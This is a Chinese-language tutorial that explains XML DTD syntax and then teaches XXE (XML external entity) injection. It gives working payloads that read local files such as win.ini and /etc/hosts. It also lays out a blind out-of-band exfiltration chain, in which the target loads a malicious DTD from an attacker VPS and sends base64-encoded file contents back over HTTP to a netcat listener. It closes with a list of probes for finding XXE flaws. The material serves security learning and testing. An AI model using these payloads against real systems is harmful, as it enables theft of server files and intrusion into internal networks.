一、DTD知识
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
XML文档构成
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素:可包含文本、其他元素或者是空的
- 属性:可提供有关元素的额外信息。
- 实体:用来定义普通文本的变量。实体引用是对实体的引用。
- PCDATA:被解析的字符数据,可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
- CDATA:字符数据,CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
元素
声明一个元素:
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY> //空元素
<!ELEMENT 元素名称 ANY> //带有任何内容的元素
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> //带有子元素的元素
<!ELEMENT note (message)> //声明只出现一次的元素
属性
属性声明使用下列语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
demo:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。
语法:
<!ENTITY 实体名称 "实体的值">
一个外部实体声明:
扫描二维码关注公众号,回复:
3494270 查看本文章
<!ENTITY 实体名称 SYSTEM "URI/URL">
URI支持的协议:
实体的引用
<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY b "this is b">]>
<c>&b;</c> //使用&变量名进行调用实体定义的变量和值
string;
echo simplexml_load_string($s);
DTD例子:
<?xml version="1.0"?>
<!DOCTYPE note [ //定义此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)> //定义note元素有四个元素
<!ELEMENT to (#PCDATA)> //定义to元素为#PCDATA类型
<!ELEMENT from (#PCDATA)> //定义from元素为#PCDATA类型
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
可能造成的危害
- 本地文件读取
- 内网访问,主机/端口扫描
- 网络访问
- 系统命令执行(特定协议,如PHP的expect)
- 拒绝服务(嵌套引用,指数爆炸)
本地文件读取攻击演示
php代码还是上一节xml注入代码,只是这里加入了输出xml解析结果:
注意:这里用%26对&字符进行了编码。
xml=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [<!ENTITY xx SYSTEM "file:///C:/Windows/win.ini" >]>
<c>%26xx;</c>
端口探测攻击演示
屏蔽xml解析输出,可通过报错信息查看端口是否开放
盲注
如果代码屏蔽了错误和xml解析,那么只能进行盲注了。
思路:
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD,并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显(nc监听端口)
本地客户端(payload 1 ):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
test.xml的内容(VPS):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
<!ENTITY % x '<!ENTITY % send SYSTEM "http://127.0.0.1/index.php?id=%file;">'> %x;
%send;
先将SYSTEM的php协议读取到的内容赋值给参数实体%file,第二步是一个实体嵌套,%file是远程访问http协议所携带的内容。
查看web日志,已将结果返回到日志记录中。
发现XXE
尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
- 单双引号
' "
。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。 - 尖括号
< >
。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。 - 注释符
<!--
。XML使用<!-- This is a comment -->
作注释。 &
。& 用于引用实体。- CDATA 分隔符
]]>
。<![CDATA[foo]]>
中的内容不被parser解析,提前闭合引发异常。
尝试利用实体和DTD。
- 引用外部DTD文件访问内网主机/端口。
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">
(看响应时间) - 引用外部DTD文件访问外网。
<!DOCTYPE a SYSTEM "http://vps_ip" >
- 引用内部实体。
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
- 外部实体读本地文件。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
- 外部实体访问内网主机/端口。
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">
(看响应时间) - 外部实体访问外网。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
- 判断问题存在可以OOB提取数据。